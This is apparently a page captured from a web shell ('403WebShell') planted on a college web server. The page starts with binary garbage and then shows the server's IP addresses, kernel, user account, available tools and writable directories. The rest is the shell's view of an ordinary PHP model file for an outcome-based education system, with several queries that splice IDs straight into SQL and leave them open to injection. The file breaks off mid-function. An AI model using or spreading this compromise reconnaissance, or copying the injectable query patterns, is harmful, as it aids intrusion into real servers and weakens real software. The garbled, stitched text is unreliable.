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B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 43.205.77.33  /  Your IP : 216.73.216.90
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : dbcollege ( 1086)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dbcollege/public_html/cas/application/models/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/dbcollege/public_html/cas/application/models/admin//OBESManagement.php
<?php

/**
 * Model For Handling All DB Operations Related To OBES
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class OBESManagement extends CI_Model {

    function createNewCriteria($newCriteriaInfo) {
        $this->db->insert("obes_criteria_mst", $newCriteriaInfo);
        return $this->db->insert_id();
    }

    function getAllCriteria() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_criteria_mst TCM");
        $this->db->join('tbl_staff_members TSMA', 'TCM.cr_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TCM.cr_update_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("cr_order", "ASC");
        return $this->db->get();
    }

    function getCriteriaById($cr_id) {
        $this->db->select("*");
        $this->db->from("obes_criteria_mst");
        $this->db->where("cr_id", $cr_id);
        return $this->db->get();
    }

    function getCriteriaByName($cr_name) {
        $this->db->select("*");
        $this->db->from("obes_criteria_mst");
        $this->db->where("cr_name", $cr_name);
        return $this->db->get();
    }

    function getCriteriaByOrder($cr_order) {
        $this->db->select("*");
        $this->db->from("obes_criteria_mst");
        $this->db->where("cr_order", $cr_order);
        return $this->db->get();
    }

    function getAllNonDeletedCriteria() {
        $this->db->select("*");
        $this->db->from("obes_criteria_mst TCM");
        $this->db->where("TCM.cr_delete_status", "F");
        $this->db->order_by("TCM.cr_order", "ASC");
        return $this->db->get();
    }

    function isCriteriaNameSafeUpdate($cr_id, $cr_name) {
        $this->db->select("*");
        $this->db->from('obes_criteria_mst');
        $this->db->where('cr_name', $cr_name);
        $this->db->where('cr_id != ' . $cr_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isCriteriaOrderSafeUpdate($cr_id, $cr_order) {
        $this->db->select("*");
        $this->db->from('obes_criteria_mst');
        $this->db->where('cr_order', $cr_order);
        $this->db->where('cr_id != ' . $cr_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateCriteriaInfo($criteriaData, $cr_id) {
        $this->db->where("cr_id", $cr_id);
        return $this->db->update("obes_criteria_mst", $criteriaData);
    }

    /* Function For Sub-Criteria And Related Stuff */

    function createNewSubCriteria($newSubCriteriaInfo) {
        $this->db->insert("obes_subcriteria_mst", $newSubCriteriaInfo);
        return $this->db->insert_id();
    }

    function getAllSubCriteria() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_subcriteria_mst TCSM");
        $this->db->join("obes_criteria_mst TCM", "TCSM.cr_id=TCM.cr_id");
        $this->db->join('tbl_staff_members TSMA', 'TCSM.csm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'TCSM.csm_update_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("TCSM.csm_name", "ASC");
        return $this->db->get();
    }

    function getAllSubCriteriaByOrder($order) {
        $this->db->select("*");
        $this->db->from("obes_subcriteria_mst csm");
        $this->db->join("obes_criteria_mst cr", "csm.cr_id=cr.cr_id");
        $this->db->where("cr_order", $order);
        $this->db->order_by("csm_name", "ASC");
        return $this->db->get();
    }

    function getAllSubCriteriaUnderGivenCriteria($cr_id) {
        $this->db->select("*");
        $this->db->from("obes_subcriteria_mst");
        $this->db->where("cr_id", $cr_id);
        $this->db->where("csm_delete_status", 'F');
        $this->db->order_by("csm_name", "ASC");
        return $this->db->get();
    }

    function getSubCriteriaInfoByName($csm_name) {
        $this->db->select("*");
        $this->db->from("obes_subcriteria_mst");
        $this->db->where("csm_name", $csm_name);
        return $this->db->get();
    }

    function isSubCriteriaNameSafeUpdate($csm_id, $csm_name) {
        $this->db->select("*");
        $this->db->from('obes_subcriteria_mst');
        $this->db->where('csm_name', $csm_name);
        $this->db->where('csm_id != ' . $csm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateSubCriteriaInfo($criteriaData, $csm_id) {
        $this->db->where("csm_id", $csm_id);
        return $this->db->update("obes_subcriteria_mst", $criteriaData);
    }

    /* Functions For Guidelines And Related Stuffs */

    function createNewGuideline($newGuidelineInfo) {
        $this->db->insert("obes_guidelines_mst", $newGuidelineInfo);
        return $this->db->insert_id();
    }

    function getAllSubCriteriaGuidelines() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_guidelines_mst CSGM");
        $this->db->join("obes_subcriteria_mst CSM", "CSM.csm_id=CSGM.csm_id");
        $this->db->join("obes_criteria_mst CR", "CR.cr_id=CSM.cr_id");
        $this->db->join('tbl_staff_members TSMA', 'CSGM.csgm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'CSGM.csgm_update_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("csgm_name", "ASC");
        return $this->db->get();
    }

    function getGuidelineByInfoBy($csgm_id) {
        $this->db->select("*");
        $this->db->from("obes_guidelines_mst CSGM");
        $this->db->join("obes_subcriteria_mst CSM", "CSM.csm_id = CSGM.csm_id");
        $this->db->join("obes_criteria_mst CR", "CR.cr_id=CSM.cr_id");
        $this->db->where("csgm_id", $csgm_id);
        return $this->db->get();
    }

    function getGuidelineByInfoByName($csgm_name) {
        $this->db->select("*");
        $this->db->from("obes_guidelines_mst");
        $this->db->where("csgm_name", $csgm_name);
        return $this->db->get();
    }

    function isGuidelineNameSafeUpdate($csgm_id, $csgm_name) {
        $this->db->select("*");
        $this->db->from('obes_guidelines_mst');
        $this->db->where('csgm_name', $csgm_name);
        $this->db->where('csgm_id != ' . $csgm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateGuidelineInfo($guidelineUpdateData, $csgm_id) {
        $this->db->where("csgm_id", $csgm_id);
        return $this->db->update("obes_guidelines_mst", $guidelineUpdateData);
    }

    function getSubGuideByCriteriaID($csgm_name, $csgm_id) {
        $this->db->select("*");
        $this->db->from("obes_guidelines_mst");
        $this->db->where("csgm_name", $csgm_name);
        $this->db->where("csgm_id NOT IN ('$csgm_id')");
        return $this->db->get();
    }

    function getSubCriteriaById($csm_id) {
        $this->db->select("*");
        $this->db->from("obes_subcriteria_mst");
        $this->db->where("csm_id", $csm_id);
        return $this->db->get();
    }

    /* Functions For Guideline Files And Related Stuffs */

    function createNewGuidelineFile($newGuidelineFileInfo) {
        $this->db->insert("obes_criteriaguide_file_mst", $newGuidelineFileInfo);
        return $this->db->insert_id();
    }

    function getGuidelineFileByCriteriaOrder($cr_order) {
        $this->db->select("*");
        $this->db->from("obes_criteriaguide_file_mst fm");
        $this->db->join("obes_guidelines_mst g", "fm.csgm_id=g.csgm_id");
        $this->db->join("obes_subcriteria_mst sc", "g.csm_id=sc.csm_id");
        $this->db->join("obes_criteria_mst c", "c.cr_id=sc.cr_id");
        $this->db->where("c.cr_order", $cr_order);
        return $this->db->get();
    }

    function updateGuidelineFile($guidelineFileUpdatedInfo, $cgfm_id) {
        $this->db->where("cgfm_id", $cgfm_id);
        return $this->db->update("obes_criteriaguide_file_mst", $guidelineFileUpdatedInfo);
    }

    /* Functions For Program Outcome And Related Stuffs */

    function createNewProgramOutcome($newPOInfo) {
        $this->db->insert("obes_program_outcome", $newPOInfo);
        return $this->db->insert_id();
    }

    function getAllProgramOutcomes() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_program_outcome PO");
        $this->db->join("tbl_course_master CM", "PO.course_id = CM.course_id");
        $this->db->join('tbl_staff_members TSMA', 'PO.po_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'PO.po_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("po.po_name", "ASC");
        return $this->db->get();
    }

    function getProgramOutcomeById($po_id) {
        $this->db->select("*");
        $this->db->from("obes_program_outcome");
        $this->db->where("po_id", $po_id);
        return $this->db->get();
    }

    function getProgramOutcomeByNameAndCourse($po_name, $course_id) {
        $this->db->select("*");
        $this->db->from("obes_program_outcome");
        $this->db->where("po_name", $po_name);
        $this->db->where("course_id", $course_id);
        return $this->db->get();
    }

    function getActiveNonDeletedProgramOutcomeByCourse($course_id) {
        $this->db->select("*");
        $this->db->from("obes_program_outcome");
        $this->db->where("course_id", $course_id);
        return $this->db->get();
    }

    function isProgramOutcomeSafeUpdate($po_name, $course_id, $po_id) {
        $this->db->select("*");
        $this->db->from("obes_program_outcome");
        $this->db->where("po_name", $po_name);
        $this->db->where("course_id", $course_id);
        $this->db->where("po_id NOT IN ('" . $po_id . "')");
        return $this->db->get();
    }

    function updateProgramOutcome($poUpdatedInfo, $po_id) {
        $this->db->where("po_id", $po_id);
        return $this->db->update("obes_program_outcome", $poUpdatedInfo);
    }

    /* Functions For Course Outcome Moudle & Related Stuffs */

    function createNewCourseOutcome($newCOInfo) {
        $this->db->insert("obes_course_outcome", $newCOInfo);
        return $this->db->insert_id();
    }

    function getAllCourseOutcomes() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_course_outcome CO");
        $this->db->join("subject_mst SM", "CO.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'CO.co_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'CO.co_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("co.co_name", "ASC");
        return $this->db->get();
    }

    function getCourseOutcomeById($co_id) {
        $this->db->select("*");
        $this->db->from("obes_course_outcome");
        $this->db->where("co_id", $co_id);
        return $this->db->get();
    }

    function getActiveNonDeletedCourseOutcomeBySubject($sm_id) {
        $this->db->select("*");
        $this->db->from("obes_course_outcome");
        $this->db->where("co_active_status", "T");
        $this->db->where("co_delete_status", "F");
        $this->db->where("sm_id", $sm_id);
        return $this->db->get();
    }

    function getCourseOutcomeByNameAndSubject($co_name = '', $sm_id = '') {
        $this->db->select("*");
        $this->db->from("obes_course_outcome");
        if ($co_name != '') {
            $this->db->where("co_name", $co_name);
        }
        if ($sm_id != '') {
            $this->db->where("sm_id", $sm_id);
        }
        return $this->db->get();
    }

    function isCouresOutcomeSafeUpdate($co_name, $sm_id, $co_id) {
        $this->db->select("*");
        $this->db->from("obes_course_outcome");
        $this->db->where("co_name", $co_name);
        $this->db->where("sm_id", $sm_id);
        $this->db->where("co_id NOT IN ('" . $co_id . "')");
        return $this->db->get();
    }

    function updateCourseOutcome($coUpdatedInfo, $co_id) {
        $this->db->where("co_id", $co_id);
        return $this->db->update("obes_course_outcome", $coUpdatedInfo);
    }

    /* Functions For CO-PO Mappings & Related Stuffs */

    function createNewCOPOMapping($newCOPOMappingInfo) {
        $this->db->insert("obes_co_po_mapping", $newCOPOMappingInfo);
        return $this->db->insert_id();
    }

    function getAllCOPOMappings() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_co_po_mapping COPO");
        $this->db->join("obes_program_outcome PO", "COPO.po_id = PO.po_id");
        $this->db->join("obes_course_outcome CO", "COPO.co_id = CO.co_id");
        $this->db->join("tbl_course_master TCM", "PO.course_id = TCM.course_id");
        $this->db->join("subject_mst SM", "CO.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'COPO.co_po_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'COPO.co_po_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("PO.po_name", "ASC");
        return $this->db->get();
    }

    function getCOPOMappingById($co_po_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_co_po_mapping COPO");
        $this->db->join("obes_program_outcome PO", "COPO.po_id = PO.po_id");
        $this->db->join("obes_course_outcome CO", "COPO.co_id = CO.co_id");
        $this->db->join("tbl_course_master TCM", "PO.course_id = TCM.course_id");
        $this->db->join("subject_mst SM", "CO.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'COPO.co_po_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'COPO.co_po_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("COPO.co_po_id", $co_po_id);
        return $this->db->get();
    }

    function getCOPOMappingBy($po_id, $co_id) {
        $this->db->select("*");
        $this->db->from("obes_co_po_mapping COPO");
        $this->db->where("COPO.po_id", $po_id);
        $this->db->where("COPO.co_id", $co_id);
        return $this->db->get();
    }

    function isCOPOMappingSafeUpdate($po_id, $co_id, $co_po_id) {
        $this->db->select("*");
        $this->db->from("obes_co_po_mapping COPO");
        $this->db->where("COPO.po_id", $po_id);
        $this->db->where("COPO.co_id", $co_id);
        $this->db->where("COPO.co_po_id NOT IN ('" . $co_po_id . "')");
        return $this->db->get();
    }

    function updateCOPOMapping($copoUpdatedInfo, $co_po_id) {
        $this->db->where("co_po_id", $co_po_id);
        return $this->db->update("obes_co_po_mapping", $copoUpdatedInfo);
    }

    /* Functions For Test Module & Related Stuffs */

    function createNewTest($newTestInfo) {
        $this->db->insert("obes_test", $newTestInfo);
        return $this->db->insert_id();
    }

    function getAllTests() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_test OT");
        $this->db->join("subject_mst SM", "OT.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'OT.test_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'OT.test_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("OT.test_name", "ASC");
        return $this->db->get();
    }

    function getTestById($test_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_test OT");
        $this->db->join("subject_mst SM", "OT.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'OT.test_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'OT.test_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("test_id", $test_id);
        $this->db->order_by("OT.test_name", "ASC");
        return $this->db->get();
    }

    function getNonDeletedActiveTestsBySubject($sm_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_test OT");
        $this->db->join("subject_mst SM", "OT.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'OT.test_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'OT.test_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("OT.sm_id", $sm_id);
        $this->db->order_by("OT.test_name", "ASC");
        return $this->db->get();
    }

    function getTestByNameAndSubject($test_name, $sm_id) {
        $this->db->select("*");
        $this->db->from("obes_test");
        $this->db->where("sm_id", $sm_id);
        $this->db->where("test_name", $test_name);
        return $this->db->get();
    }

    function isTestNameSafeUpdate($test_name, $sm_id, $test_id) {
        $this->db->select("*");
        $this->db->from("obes_test");
        $this->db->where("test_name", $test_name);
        $this->db->where("sm_id", $sm_id);
        $this->db->where("test_id NOT IN ('" . $test_id . "')");
        return $this->db->get();
    }

    function updateTest($testUpdatedInfo, $test_id) {
        $this->db->where("test_id", $test_id);
        return $this->db->update("obes_test", $testUpdatedInfo);
    }

    /* Functions For Question-Marks Mapping & Related Stuffs */

    function createNewCOQuestionMap($COQuestionMap) {
        $this->db->insert_batch("obes_subject_course_outcome", $COQuestionMap);
        return $this->db->insert_id();
    }

    function getAllCOQuestionMappings() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_subject_course_outcome SCO");
        $this->db->join("obes_test_ques Ques", "Ques.qno_id = SCO.qno_id");
        $this->db->join("obes_test OT", "OT.test_id = Ques.test_id");
        $this->db->join("obes_course_outcome CO", "SCO.co_id = CO.co_id");
        $this->db->join("subject_mst SM", "OT.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'SCO.sco_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'SCO.sco_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->join("obes_levels_keywords OLK", "Ques.qno_level = OLK.olk_id");
        $this->db->order_by("Ques.qno_name", "ASC");
        return $this->db->get();
    }

    function getAllCourseOutcomesInCoPoMapping() {
        $this->db->distinct();
        $this->db->select("CO.co_id,CO.co_name");
        $this->db->from("obes_course_outcome CO");
        $this->db->join("subject_mst SM", "CO.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'CO.co_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'CO.co_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->join("obes_co_po_mapping COPO", "CO.co_id=COPO.co_id");
        $this->db->order_by("co.co_name", "ASC");
        return $this->db->get();
    }

    function getCOQuestionMapBy($sco_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_subject_course_outcome SCO");
        $this->db->join("obes_test_ques Ques", "Ques.qno_id = SCO.qno_id");
        $this->db->join("obes_test OT", "OT.test_id = Ques.test_id");
        $this->db->join("obes_course_outcome CO", "SCO.co_id = CO.co_id");
        $this->db->join("subject_mst SM", "OT.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'SCO.sco_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'SCO.sco_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("SCO.sco_id", $sco_id);
        return $this->db->get();
    }

    function getTestQuestionBy($sm_id, $test_id, $qno_name) {
        $this->db->select("*");
        $this->db->from("obes_test_ques Ques");
        //$this->db->join("obes_test_ques Ques", "Ques.qno_id = SCO.qno_id");
        $this->db->join("obes_test OT", "OT.test_id = Ques.test_id");
        $this->db->where("Ques.test_id", $test_id);
        $this->db->where("Ques.qno_name", $qno_name);
        $this->db->where("OT.sm_id", $sm_id);
        //$this->db->where("SCO.co_id", $co_id);
        return $this->db->get();
    }

    function getCOQuestionMappingBy($co_id = '', $sm_id = '', $test_id = '', $qno_id = '') {
        $this->db->select("*");
        $this->db->from("obes_subject_course_outcome SCO");
        $this->db->join("obes_test_ques Ques", "Ques.qno_id = SCO.qno_id");
        $this->db->join("obes_test OT", "OT.test_id = Ques.test_id");
        if ($co_id != '')
            $this->db->where("SCO.co_id", $co_id);
        if ($sm_id != '')
            $this->db->where("OT.sm_id", $sm_id);
        if ($test_id != '')
            $this->db->where("Ques.test_id", $test_id);
        if ($qno_id != '')
            $this->db->where("Ques.qno_id", $qno_id);
        return $this->db->get();
    }

    function checkCOQuestionMappingIsSafeToUpdate($co_id = '', $sm_id = '', $test_id = '', $qno_id = '', $qno_no = '') {
        $this->db->select("*");
        $this->db->from("obes_subject_course_outcome SCO");
        $this->db->join("obes_test_ques Ques", "Ques.qno_id = SCO.qno_id");
        $this->db->join("obes_test OT", "OT.test_id = Ques.test_id");
        if ($co_id != '')
            $this->db->where("SCO.co_id", $co_id);
        if ($sm_id != '')
            $this->db->where("OT.sm_id", $sm_id);
        if ($test_id != '')
            $this->db->where("Ques.test_id", $test_id);
        if ($qno_no != '')
            $this->db->where("Ques.qno_name", $qno_no);
        if ($qno_id != '')
            $this->db->where("Ques.qno_id NOT IN ('$qno_id')");
        return $this->db->get();
    }

    function updateCOQuestionMap($scoUpdatedInfo, $sco_id) {
        $this->db->where("sco_id", $sco_id);
        return $this->db->update("obes_subject_course_outcome", $scoUpdatedInfo);
    }

    function updateQuestionMap($qnoUpdatedInfo, $qno_id) {
        $this->db->where("qno_id", $qno_id);
        return $this->db->update("obes_test_ques", $qnoUpdatedInfo);
    }

    function getNonDeletedActiveTestsBySTA($sta_id) {
        $this->db->select("*");
        $this->db->from("obes_test");
        $this->db->where("sm_id =(SELECT sm_id FROM subject_tech_allot WHERE sta_id= $sta_id)");
        $this->db->order_by("test_name", "ASC");
        return $this->db->get();
    }

    function getTestQuestionbySubject($sta_id, $test_name) {
        $this->db->distinct();
        $this->db->select("qno_name,qno_marks,Ques.qno_id");
        $this->db->from("obes_subject_course_outcome SCO");
        $this->db->join("obes_test_ques Ques", "SCO.qno_id = Ques.qno_id");
        $this->db->join("obes_test OT", "OT.test_id = Ques.test_id");
        $this->db->where("OT.sm_id =(SELECT sm_id FROM subject_tech_allot WHERE sta_id= $sta_id)");
        $this->db->where("Ques.test_id", $test_name);
        return $this->db->get();
    }

    function createNewQuestion($newQuestionData) {
        $this->db->insert("obes_test_ques", $newQuestionData);
        return $this->db->insert_id();
    }

    function feedNewStudentObtainMarks($newStudentQuesMarkData) {
        $this->db->insert_batch("obes_student_test_marks", $newStudentQuesMarkData);
        return $this->db->insert_id();
    }

    function getStudentTestMarksBy($sta_id, $test_id) {
        $this->db->select("*");
        $this->db->from("obes_student_test_marks STM");
        $this->db->join("obes_test_ques Ques", "STM.qno_id = Ques.qno_id");
        $this->db->join("obes_test OT", "OT.test_id = Ques.test_id");
        // $this->db->join("subject_mst SM", "OT.sm_id = SM.sm_id");
        $this->db->where("OT.sm_id =(SELECT sm_id FROM subject_tech_allot WHERE sta_id= $sta_id)");
        $this->db->where("STM.test_id", $test_id);
        $this->db->where("STM.sta_id", $sta_id);
        $this->db->order_by("STM.tspi_id", "ASC");
        return $this->db->get();
    }

    function updateFeedStudentObtainMarks($newStudentQuesMarkData) {
        return $this->db->update_batch("obes_student_test_marks", $newStudentQuesMarkData, "stm_id");
    }

    /* Functions For CO-Attainment Report */

    function getNonDeletedActiveTestsBy($sm_id) {
        $this->db->select("*");
        $this->db->from("obes_test");
        $this->db->where("sm_id", $sm_id);
        $this->db->order_by("test_name", "ASC");
        return $this->db->get();
    }

    function getAllActiveNonDeletedCourseOutcomesBy($sm_id = '') {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("obes_course_outcome CO");
        $this->db->join("subject_mst SM", "CO.sm_id = SM.sm_id");
        $this->db->join('tbl_staff_members TSMA', 'CO.co_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'CO.co_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("CO.co_active_status", "T");
        $this->db->where("CO.co_delete_status", "F");
        if ($sm_id != '') {
            $this->db->where("CO.sm_id", $sm_id);
        }
        $this->db->order_by("co.co_name", "ASC");
        return $this->db->get();
    }

    function getCOQuestionsBy($co_id, $test_id = '') {
        $this->db->select("*");
        $this->db->from("obes_subject_course_outcome SCO");
        $this->db->join("obes_test_ques Ques", "Ques.qno_id = SCO.qno_id");
        $this->db->join("obes_test OT", "OT.test_id = Ques.test_id");
        $this->db->where("SCO.co_id", $co_id);
        if ($test_id != '') {
            $this->db->where("Ques.test_id", $test_id);
        }
        $this->db->order_by("Ques.qno_name", "ASC");
        return $this->db->get();
    }

    function getStudentTestMarksForCOAttainmentReport($tspi_id, $session_id, $test_id, $qno_id = '') {
        $this->db->select("*");
        $this->db->from("obes_student_test_marks STM");
        $this->db->join("obes_test_ques Ques", "STM.qno_id = Ques.qno_id");
        $this->db->where("STM.test_id", $test_id);
        $this->db->where("STM.tspi_id", $tspi_id);
        if ($qno_id != '') {
            $this->db->where("STM.qno_id", $qno_id);
        }
        $this->db->where("STM.session_id", $session_id);
        $this->db->order_by("STM.tspi_id", "ASC");
        return $this->db->get();
    }

    function getStudentAllTestMarksForCOAttainmentReport($tspi_id, $session_id, $co_id) {
        $this->db->select("*");
        $this->db->from("obes_student_test_marks STM");
        $this->db->join("obes_test_ques Ques", "STM.qno_id = Ques.qno_id");
        $this->db->join("obes_subject_course_outcome SCO", "SCO.qno_id=Ques.qno_id");
        $this->db->where("SCO.co_id", $co_id);
        $this->db->where("STM.tspi_id", $tspi_id);
        $this->db->where("STM.session_id", $session_id);
